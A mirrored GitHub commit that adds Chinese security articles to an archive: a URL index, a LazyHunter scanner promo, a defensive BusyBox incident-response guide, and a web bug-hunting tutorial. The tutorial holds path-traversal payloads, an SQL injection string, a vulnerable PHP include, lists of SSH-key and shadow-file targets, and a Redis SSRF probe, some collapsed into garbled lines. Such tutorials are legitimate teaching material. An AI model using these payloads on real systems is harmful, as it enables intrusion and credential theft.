mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
当系统崩盘,Busybox 如何成为你的“诺亚方舟”?漏洞排查的另类视角、潜伏十年的严重漏洞:CVE-2025-49113 Roundcube 反序列化漏洞原理与 gadget 构造深度分析、LazyHunter:自动漏洞扫描的工具、还在用Wireshark?这款工具直接帮你提取Web攻击+复现请求全过程!、文件上传操作漏洞场景挖掘思路、
This commit is contained in:
1 parent
a8997cc528
commit
b3b2fda6a6
6 files changed
+672
-199
No files matched your search
@@ -14921,5 +14921,10 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860720&idx=1&sn=700c43def3115706dbdf14b9634c3176": "16核CPU烧到100%!21节点六种漏洞扫描模式实测,这种模式让服务器暴走",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247488992&idx=3&sn=240dba489c13a8cf1abd16a7f09aa981": "JS中的漏洞信息",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503392&idx=1&sn=5292f042bdea8bb3d2fd6e87cb7a2ca2": "【成功复现】vBulletin远程代码执行漏洞(CVE-2025-48827&CVE-2025-48828)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247491410&idx=1&sn=e4ef9713ca498412d72fd9536077c06b": "【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247491410&idx=1&sn=e4ef9713ca498412d72fd9536077c06b": "【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3MjczNzA1Ng==&mid=2247497601&idx=2&sn=593538deb4ffaacfce66f628dd85cb2b": "当系统崩盘,Busybox 如何成为你的“诺亚方舟”?漏洞排查的另类视角",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&mid=2247492152&idx=1&sn=9880c257352e81a69012ac2327d46c1b": "潜伏十年的严重漏洞:CVE-2025-49113 Roundcube 反序列化漏洞原理与 gadget 构造深度分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNzIxMjM3Mg==&mid=2247490554&idx=1&sn=a617e5cf9c985ea332307e9cbb40a955": "LazyHunter:自动漏洞扫描的工具",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3NTU3NTY0Nw==&mid=2247489904&idx=1&sn=1b0d39b19089398e5a3f203ac2fcb524": "还在用Wireshark?这款工具直接帮你提取Web攻击+复现请求全过程!",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247488992&idx=1&sn=7cc8813409e77f5eeae632e9d1aefe0d": "文件上传操作漏洞场景挖掘思路"
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
# LazyHunter:自动漏洞扫描的工具
|
||||
原创 白帽学子 白帽学子 2025-06-08 00:11
|
||||
|
||||
之前hvv演练那阵子,咱们团队天天跟甲方资产清单较劲。你懂的,那些动不动就上万IP的扫描任务,光是端口服务识别就得折腾大半天。上周测试新工具的时候,LazyHunter倒是给我省了不少事。
|
||||
|
||||
记得上个月给某金融客户做安全加固,他们给的资产列表里混杂着测试环境和生产环境。用这工具批量导入IP段后,Shodan的数据库直接把暴露在公网的Redis、MongoDB全给揪出来了。特别是那个开着27017端口的数据库,CVE-2022-29020的高危漏洞直接标红。
|
||||
|
||||

|
||||
|
||||
模拟攻击时,发现某OA系统的Tomcat存在CVE-2020-1938漏洞。用LazyHunter一查,发现同一内网段还有三台服务器用着同版本组件,直接生成了横向移动路线图。要搁以前,这得手动交叉比对扫描报告。
|
||||
|
||||
它还能导出带时间戳的JSON报告。上次给甲方做整改复盘时,用这个功能对比了加固前后漏洞分布变化。特别是那个存在了半年的CVE-2021-40438,修复后连带消除了三个依赖项的低危漏洞,这波溯源效率直接拉满。
|
||||
|
||||
想要获取工具的小伙伴可以直接**拉至文章末尾**
|
||||
|
||||
我们来提取并讨论上述工具描述中涉及的网络安全关键技术点:
|
||||
|
||||
1、
|
||||
资产测绘与漏洞关联分析
|
||||
:
|
||||
- 护网演练中,快速梳理海量资产暴露面是核心痛点。如历史对话提到的LazyHunter工具,通过集成Shodan数据库自动识别公网开放端口、服务版本及关联漏洞(如Redis未授权访问、Tomcat Ghostcat漏洞),并依据CVSS评分生成风险矩阵。其价值在于将人工需数日完成的资产梳理压缩至小时级,同时通过跨设备漏洞关联(例如同一内网多台服务器共用脆弱组件)预判横向渗透路径。
|
||||
|
||||
2、
|
||||
入侵检测与实时响应(IDS/IPS)
|
||||
:
|
||||
- 面对0day攻击和高级持续性威胁(APT),基于行为的异常检测比传统特征库更有效。例如在蓝队防守中,通过流量分析识别异常数据外传行为,结合端点检测工具定位失陷主机;同时采用欺骗防御技术(如蜜罐)诱捕攻击者,记录其战术手段。需注意现代IPS需具备自动化阻断能力,如在金融系统重保期间实时拦截恶意SQL注入流量。
|
||||
|
||||
3、
|
||||
加密技术与数据主权保护
|
||||
:
|
||||
- 端到端加密(E2EE) 和量子抗性算法成为数据安全刚需。某政务云迁移案例中,采用国密SM4算法加密敏感字段,配合硬件安全模块(HSM) 管理密钥,防止云服务商越权访问。在远程办公场景,零信任架构替代传统VPN,通过持续身份认证(如生物识别+设备指纹)保障业务访问安全。
|
||||
|
||||
4、
|
||||
|
||||
终端安全与边界模糊化防护
|
||||
|
||||
:
|
||||
- 随着BYOD(自带设备)普及,终端成为最大攻击入口。医疗机构曾因未加固的物联网设备(如心电监测仪)遭勒索病毒入侵。解决方案包括:EDR工具实时监控进程行为,微隔离技术限制内网设备通信范围,以及固件签名验证防止固件篡改。红队演练显示,90%内网渗透始于终端漏洞。
|
||||
|
||||
5、
|
||||
云原生安全与自动化防御
|
||||
:
|
||||
- 容器化和Serverless架构带来新风险。某电商平台因Kubernetes配置错误导致API密钥泄露。关键技术包括:CNAPP(云原生应用保护平台) 集成容器镜像扫描、运行时监控;无代理安全方案降低资源消耗;IaC(设施即代码)安全扫描在CI/CD阶段拦截错误配置810。云防火墙需支持动态策略,如自动封禁高频扫描IP。
|
||||
|
||||
|
||||
|
||||
|
||||
**下载链接**
|
||||
|
||||
https://github.com/iamunixtz/Lazy-Hunter
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白名单。
|
||||
|
||||
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本公众号无关。
|
||||
|
||||
✦
|
||||
|
||||
✦
|
||||
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
# 当系统崩盘,Busybox 如何成为你的“诺亚方舟”?漏洞排查的另类视角
|
||||
龙哥网络安全 龙哥网络安全 2025-06-08 03:00
|
||||
|
||||

|
||||
## 一、Busybox:小身材,大能量?应急响应的“瑞士军刀”
|
||||
1. **静态编译:不只是“硬汉”,更是安全基石**
|
||||
|
||||
别小看“静态编译”这四个字,在安全圈里,它可是关键先生。想象一下,你的服务器被黑客攻破,动态链接库被动了手脚,那些常用的命令,比如ls
|
||||
、ps
|
||||
,全成了“伪君子”,显示的都是假信息。静态编译的Busybox,就像一个自带干粮的“硬汉”,不依赖系统那些可能被污染的“口粮”(动态链接库),直接就能告诉你真相。它规避了LD_PRELOAD这种“李代桃僵”的恶意劫持风险,简直是安全界的良心之作。
|
||||
|
||||
1. **轻量级集成:麻雀虽小,五脏俱全**
|
||||
|
||||
谁说体积小就不能干大事?Busybox 这家伙,愣是把300多个Unix常用工具塞进了一个不到1MB的可执行文件里。什么top
|
||||
、vi
|
||||
、grep
|
||||
,应有尽有。这简直就是一个迷你版的应急响应工具箱,而且部署速度快到飞起。想想看,在系统瘫痪的紧急时刻,它能迅速就位,帮你诊断问题,简直就是救命稻草。
|
||||
|
||||
## 二、排查思路:别被“障眼法”迷惑,直捣黄龙
|
||||
1. **“李逵”变“李鬼”?Busybox 帮你验明正身**
|
||||
|
||||
系统命令被篡改?这在安全事件中简直是家常便饭。攻击者最喜欢干的就是替换你的ls
|
||||
、ps
|
||||
,让你看到的都是他们想让你看到的。但别慌,Busybox 的静态编译特性,让它能绕过那些被劫持的动态链接库,直接执行。你可以用它来替代那些“变味”的系统命令,就像孙悟空的火眼金睛,让妖魔鬼怪无所遁形。
|
||||
|
||||
bash wget https://busybox.net/downloads/binaries/ -O /tmp/busybox chmod +x /tmp/busybox
|
||||
|
||||
1. **揪出“内鬼”:从/proc目录入手,追踪异常进程**
|
||||
|
||||
/proc
|
||||
目录,这可是Linux系统里的大宝藏。它记录了所有进程的详细信息,包括进程的执行路径和启动参数。用Busybox的ls
|
||||
命令,配合grep
|
||||
,就能轻松查看这些信息。更关键的是,你可以对比/proc/[pid]/exe
|
||||
指向的二进制文件哈希值,与已知的正常哈希值进行比对,从而揪出那些被替换的“内鬼”文件。
|
||||
|
||||
bash busybox ls -al /proc | grep -E 'exe|cmdline'
|
||||
|
||||
## 三、步步惊心:关键排查,不放过任何蛛丝马迹
|
||||
1. **“照妖镜”:系统命令完整性校验**
|
||||
|
||||
别偷懒,对核心命令进行哈希校验是必须的!用Busybox的sha1sum
|
||||
命令,对比/bin/ls
|
||||
、/usr/bin/top
|
||||
、/bin/ps
|
||||
这些重要命令的哈希值,看看它们是否和官方软件包中的哈希值一致。这就像用“照妖镜”照一下,看看有没有妖怪混进来了。
|
||||
|
||||
bash busybox sha1sum /bin/ls /usr/bin/top /bin/ps
|
||||
|
||||
1. **“幕后黑手”:LD_PRELOAD 劫持排查**
|
||||
|
||||
LD_PRELOAD
|
||||
,这个环境变量可是个危险分子。攻击者可以通过它来预加载恶意动态链接库,从而劫持系统命令。所以,一定要仔细检查/etc/ld.so.preload
|
||||
这个文件,看看有没有什么可疑的so文件。同时,也要用grep
|
||||
命令,在/etc/profile.d/
|
||||
和/etc/bash*
|
||||
这些配置文件中,搜索LD_PRELOAD
|
||||
的踪迹。
|
||||
|
||||
bash busybox cat /etc/ld.so.preload busybox grep -r 'LD_PRELOAD' /etc/profile.d/ /etc/bash*
|
||||
|
||||
1. **“历史回放”:日志深度分析**
|
||||
|
||||
日志,是系统留下的“历史记录”。用Busybox的dmesg
|
||||
命令,配合grep
|
||||
,搜索内核日志中与error
|
||||
、busybox
|
||||
、segfault
|
||||
相关的关键词,看看有没有什么异常情况。同时,也要分析系统日志,重点审查计划任务、登录行为,看看有没有可疑的cron
|
||||
、ssh
|
||||
、su
|
||||
事件。
|
||||
|
||||
bash busybox dmesg | grep -i 'error\|busybox\|segfault' busybox grep -E 'cron|ssh|su' /var/log/syslog
|
||||
|
||||
1. **“扫雷”:恶意文件检测**
|
||||
|
||||
攻击者为了隐藏自己,往往会创建一些隐藏文件,或者修改文件的时间戳。用Busybox的find
|
||||
命令,可以检测这些非常规命名文件,以及查找最近被修改的文件。
|
||||
|
||||
bash busybox find / -name ".. *" -o -name "...*" busybox find / -mtime -1
|
||||
|
||||
1. **“顺藤摸瓜”:网络行为分析**
|
||||
|
||||
网络连接,是攻击者与外界通信的桥梁。用Busybox的netstat
|
||||
命令,配合awk
|
||||
,可以检测原始套接字,查看正在监听和已建立的连接。更高级的,可以直接读取/proc/net/tcp
|
||||
文件,分析十六进制的IP地址和端口号,从而发现隐藏的连接。
|
||||
|
||||
bash busybox netstat -antp | busybox awk '$6=="LISTEN" || $6=="ESTABLISHED"' busybox cat /proc/net/tcp
|
||||
|
||||
## 四、釜底抽薪:高级对抗,让 Rootkit 无处遁形
|
||||
1. **“猎杀”Rootkit:BusyBox + chkrootkit/rkhunter**
|
||||
|
||||
Rootkit,是攻击者隐藏自己的终极武器。但再狡猾的狐狸,也逃不过猎人的眼睛。用Busybox配合chkrootkit
|
||||
或rkhunter
|
||||
这些专业的Rootkit检测工具,可以有效地发现并清除Rootkit。
|
||||
|
||||
bash /tmp/busybox wget http://example.com/chkrootkit.tar.gz /tmp/busybox tar zxvf chkrootkit.tar.gz && cd chkrootkit-* /tmp/busybox make && ./chkrootkit
|
||||
|
||||
1. **“照妖镜”再升级:内存马检测**
|
||||
|
||||
内存马,是一种新型的恶意代码,它不落地,直接运行在内存中,难以被发现。用Busybox编写脚本,扫描Web中间件进程,查找可疑的jar文件,可以有效地检测内存马。
|
||||
|
||||
bash for pid in $(busybox pgrep java); do busybox ls -l /proc/$pid/fd | busybox grep '\.jar$' done
|
||||
|
||||
## 五、亡羊补牢:修复与加固,构筑安全防线
|
||||
1. **“断网”求生:系统隔离**
|
||||
|
||||
发现服务器被感染,第一件事就是断网!用Busybox的iptables
|
||||
命令,立即禁用受感染服务器的外网访问,防止攻击者进一步渗透。
|
||||
|
||||
bash /tmp/busybox iptables -A OUTPUT -j DROP
|
||||
|
||||
1. **“清道夫”:持久化检测**
|
||||
|
||||
攻击者为了长期控制系统,往往会在计划任务和启动项中留下后门。用Busybox的crontab
|
||||
命令和ls
|
||||
命令,排查计划任务和启动项,清除这些后门。
|
||||
|
||||
bash /tmp/busybox crontab -l /tmp/busybox ls -l /etc/init.d/ /etc/rc*.d/
|
||||
|
||||
1. **“固本培元”:安全加固**
|
||||
|
||||
最后一步,就是用静态编译版的Busybox工具,替换系统命令,加固系统安全。
|
||||
|
||||
bash /tmp/busybox cp /tmp/busybox /bin/ /bin/busybox --install -s
|
||||
|
||||
这样,即使系统再次被攻击,Busybox也能成为你的最后一道防线。
|
||||
```
|
||||
|
||||
**黑客/网络安全学习包**
|
||||
|
||||

|
||||
|
||||
**黑客/网络安全学习包**
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**资料目录**
|
||||
|
||||
|
||||
**282G**
|
||||
《**网络安全/黑客技术入门学习大礼包**
|
||||
》,可以**扫描下方二维码免费领取**
|
||||
!
|
||||
|
||||

|
||||
|
||||
|
||||
1.成长路线图&学习规划
|
||||
|
||||
要学习一门新的技术,作为新手一定要**先学习成长路线图**
|
||||
,**方向不对,努力白费**
|
||||
。
|
||||
|
||||
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
2.视频教程
|
||||
|
||||
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是
|
||||
我们和网安大厂360共同研发的网安视频教程,之前都是
|
||||
内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!
|
||||
全网独一份,你不可能在网上找到这么专业的教程。
|
||||
|
||||
内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。
|
||||
|
||||
总共200多节视频,200多G的资源,不用担心学不全。
|
||||
|
||||

|
||||
|
||||
3.SRC&黑客文籍
|
||||
|
||||
大家最喜欢也是最关心的
|
||||
**SRC技术文籍&黑客技术**
|
||||
也有收录
|
||||
|
||||
**SRC技术文籍:**
|
||||
|
||||

|
||||
|
||||
|
||||
**黑客资料由于是敏感资源,这里不能直接展示哦!**
|
||||
|
||||
|
||||
4.护网行动资料
|
||||
|
||||
|
||||
其中关于
|
||||
**HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!**
|
||||
|
||||

|
||||
|
||||
|
||||
5.黑客必读书单
|
||||
|
||||
****
|
||||
6.面试题合集
|
||||
|
||||
|
||||
当你自学到这里,你就要开始
|
||||
**思考找工作**
|
||||
的事情了,而工作绕不开的就是
|
||||
**真题和面试题。**
|
||||
|
||||

|
||||
|
||||
**更多内容为防止和谐,可以扫描获取~**
|
||||
|
||||
****
|
||||

|
||||
|
||||
|
||||
朋友们需要全套共
|
||||
**282G**
|
||||
的《**网络安全/黑客技术入门学习大礼包**
|
||||
》,可以**扫描下方二维码免费领取**
|
||||
!
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**END**
|
||||
##
|
||||
|
||||
+89
-197
@@ -1,7 +1,6 @@
|
||||
# 文件上传操作漏洞场景挖掘思路
|
||||
Yue 蓝云Sec 2025-06-02 01:12
|
||||
# 文件上传操作漏洞场景挖掘思路
|
||||
富贵安全 2025-06-08 01:01
|
||||
|
||||
原文链接:https://xz.aliyun.com/news/18107,侵权请联系删除,谢谢。
|
||||
## 下载读取
|
||||
|
||||
### 文件可疑ID遍历/注入
|
||||
@@ -18,11 +17,10 @@ IDOR
|
||||
越权,但是有鉴权字段就无效了
|
||||
|
||||
```
|
||||
userId=19230239023923232
|
||||
NickName =232193299321324343
|
||||
orderid=1989885454549549
|
||||
userId=19230239023923232 NickName =232193299321324343orderid=1989885454549549
|
||||
```
|
||||
- 注入思考是**+1 -1**,观察数值有没有被带入执行,可以是选择性数字的导入/下载数字是否带入数据库查询
|
||||
|
||||
[思路文章](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247494012&idx=1&sn=3bb81f3d9522298e223796a3265b5e68&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -30,13 +28,13 @@ orderid=1989885454549549
|
||||
导出Excle功能点,输入1的时候,表示导出第一列数据,此处包长为6360
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
在我输入2的时候表示导出前2列数据,此时包长为6364
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
当我输入
|
||||
@@ -46,15 +44,13 @@ SQL
|
||||
语句进行正则运算,所以遇到文件id 测试遍历及注入有时候也会有意想不到的惊喜
|
||||
|
||||
```
|
||||
假设原本的 SQL 查询语句为:
|
||||
SELECT column_name FROM table_name WHERE id = '用户输入的id';
|
||||
假设原本的 SQL 查询语句为:SELECT column_name FROM table_name WHERE id = '用户输入的id';
|
||||
```
|
||||
|
||||
探测到注入无过滤情况就可以构造恒真条件永远为真,导致查询返回所有记录,从而绕过了原本的查询条件,获取了所有列的数据,假设存在过滤条件就慢慢探测了,只能靠个人思路绕过
|
||||
|
||||
```
|
||||
如果用户输入的 id 是 1' OR '1'='1,那么拼接后的 SQL 查询语句会变成:
|
||||
SELECT column_name FROM table_name WHERE id = '1' OR '1'='1'';
|
||||
如果用户输入的 id 是 1' OR '1'='1,那么拼接后的 SQL 查询语句会变成:SELECT column_name FROM table_name WHERE id = '1' OR '1'='1'';
|
||||
```
|
||||
### file参数下载接口任意读取
|
||||
|
||||
@@ -76,11 +72,10 @@ filesname file files
|
||||
, 不外乎功能点,只能接口字段出现此类就可以测试,只是这种漏洞出现在操作文件读取下载场景较多,下面会介绍到利用伪协议读取场景
|
||||
|
||||
```
|
||||
file=189839434343 //可以尝试读取
|
||||
file=../../ect/passwd
|
||||
file=189839434343 //可以尝试读取file=../../ect/passwd
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
列如
|
||||
@@ -89,7 +84,7 @@ apis/xxxxxxx/download?filePath=
|
||||
etc/passwd
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
整理好通用字典,形成自己的测试规范,遇到好的绕过
|
||||
@@ -97,10 +92,10 @@ Payload
|
||||
做好记录,
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
### 图片链接http://file/1.png
|
||||
|
||||
@@ -114,9 +109,7 @@ http://file
|
||||
对路径无处理可能会列出该目录下所有的文件
|
||||
|
||||
```
|
||||
http://file//a0b24dbc24f3d24530999e10e11a88c7242338c0a849d91aa0ee47369cd2b6147f.png
|
||||
http://file// etc/passwd
|
||||
http://file//
|
||||
http://file//a0b24dbc24f3d24530999e10e11a88c7242338c0a849d91aa0ee47369cd2b6147f.pnghttp://file// etc/passwd http://file//
|
||||
```
|
||||
### type类型任意文件读取
|
||||
|
||||
@@ -127,11 +120,10 @@ type
|
||||
filename
|
||||
|
||||
```
|
||||
GET /api/saber?type=xxxxx
|
||||
GET /api/saber?type=../../../../../../etc/passwd
|
||||
GET /api/saber?type=xxxxx GET /api/saber?type=../../../../../../etc/passwd
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
### 400状态码任意读取
|
||||
|
||||
@@ -144,7 +136,7 @@ GET /api/saber?type=../../../../../../etc/passwd
|
||||
payload: ///////./././././etc/passwd
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
### 文件包含任意文件读取区别
|
||||
|
||||
@@ -152,18 +144,13 @@ payload: ///////./././././etc/passwd
|
||||
文件包含会包含文件然后输出,任意文件读取只能读取
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
文件包含和任意文件读取都支持伪协议还有远程地址,但是文件包含一般会有漏洞文件的前缀
|
||||
|
||||
```
|
||||
http://baidu.com/ saber.php ?name=../../../../Windows./system.ini
|
||||
saber.php
|
||||
<?php
|
||||
$file=$_GET['name'];
|
||||
include($file);
|
||||
?>
|
||||
http://baidu.com/ saber.php ?name=../../../../Windows./system.ini saber.php<?php $file=$_GET['name']; include($file);?>
|
||||
```
|
||||
|
||||
根据功能点分析这个地方会是
|
||||
@@ -191,9 +178,7 @@ root
|
||||
用户操作命令的记录如果没有,只能按部就班的利用../来逐层跳转读取
|
||||
|
||||
```
|
||||
# etc/passwd记录了系统所有用户信息
|
||||
http://baidu.com/saber?file=file://etc/passwd
|
||||
# /etc/shadow 是用于存储用户账户密码等安全相关信息的文件 只有root用户才能读
|
||||
# etc/passwd记录了系统所有用户信息http://baidu.com/saber?file=file://etc/passwd # /etc/shadow 是用于存储用户账户密码等安全相关信息的文件 只有root用户才能读
|
||||
```
|
||||
|
||||
不带协议文件包含
|
||||
@@ -206,20 +191,22 @@ http://xxxxx/saber?name=file://etc/passwd
|
||||
之间的差异
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
### 任意文件读取攻防利用思路
|
||||
|
||||
|
||||
参考文章
|
||||
|
||||
|
||||
- [https://mp.weixin.qq.com/s/7prdLc9ml6q2chrRxdsdEQ](https://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247518434&idx=1&sn=0a28059b83aa0a7318ccf997426a4f24&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [https://mp.weixin.qq.com/s/PdFm_Y3FNDkCMrsHXcm_2w](https://mp.weixin.qq.com/s?__biz=MjM5Mzc4MzUzMQ==&mid=2650260890&idx=1&sn=f46073f31278972785b097461b3b66bb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [https://mp.weixin.qq.com/s/Zkw68UPDWcHBn6cayVdITg](https://mp.weixin.qq.com/s?__biz=MzkwODc1NTgyMg==&mid=2247484148&idx=1&sn=e4a9e276702006c6bc2408be1fddb72e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
拿到任意读取漏洞思路先读取管理员
|
||||
root
|
||||
用户
|
||||
@@ -234,8 +221,7 @@ root
|
||||
ssh
|
||||
|
||||
```
|
||||
/root/.bash_history # 读取root用户历史命令可能会出现ssh私钥存储位置或其他铭感文件路径
|
||||
/proc/self/status # 当前用户运行进程状态
|
||||
/root/.bash_history # 读取root用户历史命令可能会出现ssh私钥存储位置或其他铭感文件路径/proc/self/status # 当前用户运行进程状态
|
||||
```
|
||||
|
||||
无法读取管理员
|
||||
@@ -249,7 +235,7 @@ gid
|
||||
判断 当前用户权限
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
后读取
|
||||
@@ -261,7 +247,7 @@ root
|
||||
用户
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
攻防中首先尝试身份去读取
|
||||
@@ -271,15 +257,13 @@ root
|
||||
权限,则寻找其他可登录的用户,以它的身份去读取文件
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
```
|
||||
/home/saber/.zsh_history # 读取saber用户历史命令可能会出现ssh私钥存储位置
|
||||
/hoem/saber/.ssh/id_rsa # 尝试读取普通用户默认私钥 /root/saber/.ssh/id_rsa root用户默认地址
|
||||
/root/.ssh/id_rsa # root 默认地址
|
||||
/home/saber/.zsh_history # 读取saber用户历史命令可能会出现ssh私钥存储位置/hoem/saber/.ssh/id_rsa # 尝试读取普通用户默认私钥 /root/saber/.ssh/id_rsa root用户默认地址/root/.ssh/id_rsa # root 默认地址
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
file
|
||||
@@ -291,32 +275,20 @@ Linux
|
||||
系统
|
||||
|
||||
```
|
||||
/etc/hosts 包含了主机名与 IP 地址的映射关系,可能会记录内网 IP 信息
|
||||
/etc/network/interfaces 存储网络接口的配置信息,其中可能包含内网 IP 地址
|
||||
/proc/net/fib_trie 包含了路由表信息,从中可以获取到内网 IP 地址
|
||||
~/.ssh/id_rsa Linux系统中用户的SSH 私钥默认位置
|
||||
/etc/hosts 包含了主机名与 IP 地址的映射关系,可能会记录内网 IP 信息/etc/network/interfaces 存储网络接口的配置信息,其中可能包含内网 IP 地址/proc/net/fib_trie 包含了路由表信息,从中可以获取到内网 IP 地址~/.ssh/id_rsa Linux系统中用户的SSH 私钥默认位置
|
||||
```
|
||||
|
||||
Windows
|
||||
系统
|
||||
|
||||
```
|
||||
类似于 Linux 系统的/etc/hosts文件,存储了主机名与 IP 地址的映射关系
|
||||
C:\Windows\System32\drivers\etc\hosts:
|
||||
类似于 Linux 系统的/etc/hosts文件,存储了主机名与 IP 地址的映射关系C:\Windows\System32\drivers\etc\hosts:
|
||||
```
|
||||
|
||||
常见中间件日志路径
|
||||
|
||||
```
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
/var/log/apache2/error.log
|
||||
/var/log/apache/error.log
|
||||
/usr/local/apache/log/error_log
|
||||
/usr/local/apache2/log/error_log
|
||||
/var/log/nginx/access.log
|
||||
/var/log/nginx/error.log
|
||||
/var/log/httpd/error_log
|
||||
/var/log/apache2/access.log/var/log/apache/access.log/var/log/apache2/error.log/var/log/apache/error.log/usr/local/apache/log/error_log/usr/local/apache2/log/error_log/var/log/nginx/access.log/var/log/nginx/error.log/var/log/httpd/error_log
|
||||
```
|
||||
|
||||
dicr
|
||||
@@ -339,11 +311,10 @@ Redis
|
||||
执命令
|
||||
|
||||
```
|
||||
dict://127/0.0.1:6379/info/ # SSR伪造协议读取redis信息
|
||||
cat /etc/hosts #读取网络信息
|
||||
dict://127/0.0.1:6379/info/ # SSR伪造协议读取redis信息 cat /etc/hosts #读取网络信息
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
读取或包含
|
||||
@@ -355,10 +326,10 @@ Spring boot heapdump
|
||||
等
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
## 上传文件图片
|
||||
|
||||
@@ -380,17 +351,16 @@ Spring boot heapdump
|
||||
文件路径和文件名可控指我们选择图片上传,在请求包中/响应包就会显示出路径,我们修改路径或者文件名为自己可控的,再次发送如果成功路径代表可控
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
**路径可控,**那么可以控制整个网站的目录尝试覆盖,网站下存放的东西在前端是可以知道的,上传相同的路径相同的文件名不就可以实现覆盖了嘛)
|
||||
|
||||
```
|
||||
1. 路径可控尝试覆盖,上传2次同一目录下不同的图片,用浏览器打开最后图片是否一致,是则无用 否则是漏洞
|
||||
2. 再次上传测试../跨目录上传实现目录穿越
|
||||
1. 路径可控尝试覆盖,上传2次同一目录下不同的图片,用浏览器打开最后图片是否一致,是则无用 否则是漏洞2. 再次上传测试../跨目录上传实现目录穿越
|
||||
```
|
||||
|
||||
此处是上传功能,上传的参数为
|
||||
@@ -398,11 +368,10 @@ type
|
||||
,正常上传后发现响应包回显的路径是这样,路径回显了等于请求包控制了响应包的上传,
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
```
|
||||
POST /demo/upload?type=1.jsp // 请求包路径
|
||||
/demo/upload/home/type/1.jsp // 响应 包路径
|
||||
POST /demo/upload?type=1.jsp // 请求包路径 /demo/upload/home/type/1.jsp // 响应 包路径
|
||||
```
|
||||
|
||||
猜测
|
||||
@@ -418,16 +387,13 @@ web
|
||||
getshell
|
||||
|
||||
```
|
||||
POST /demo/upload?saber=1.jsp // 请求包路径
|
||||
/demo/upload/home/saber/1.jsp // 响应包路径
|
||||
POST /demo/upload?saber=1.jsp // 请求包路径/demo/upload/home/saber/1.jsp // 响应包路径
|
||||
```
|
||||
|
||||
**上传不可知路径**
|
||||
|
||||
```
|
||||
1. 查看下载文件地方,下载时抓包对路径推敲
|
||||
2. F12 找网站images 文件夹下是否存在路径
|
||||
3. 选择图片右键新标签打开,查看此图片对应的图片路径
|
||||
1. 查看下载文件地方,下载时抓包对路径推敲2. F12 找网站images 文件夹下是否存在路径3. 选择图片右键新标签打开,查看此图片对应的图片路径
|
||||
```
|
||||
|
||||
**路径推测方法**
|
||||
@@ -445,8 +411,7 @@ https://baidu.com/demo/uploa/
|
||||
上传回显如果是saber/1.txt或是1.txt 直接拼接在后面就行,会去掉原有 一层 看很多都是这样的
|
||||
|
||||
```
|
||||
https://baidu.com/demp/saber/1.txt
|
||||
https://baidu.com/demp/1.txt
|
||||
https://baidu.com/demp/saber/1.txthttps://baidu.com/demp/1.txt
|
||||
```
|
||||
### OSS
|
||||
|
||||
@@ -459,13 +424,10 @@ OSS
|
||||
服务器过程中的三种经典验证方式
|
||||
|
||||
```
|
||||
1. 在客户端通过JavaScript代码完成签名,然后通过表单直传数据到OSS // 硬编码在JS中
|
||||
2. 在服务端完成签名,然后通过表单直传数据到OSS
|
||||
3. 在服务端完成签名,并且服务端设置了上传后回调,然后通过表单直传数据到OSS
|
||||
OSS回调完成后,再将应用服务器响应结果返回给客户端
|
||||
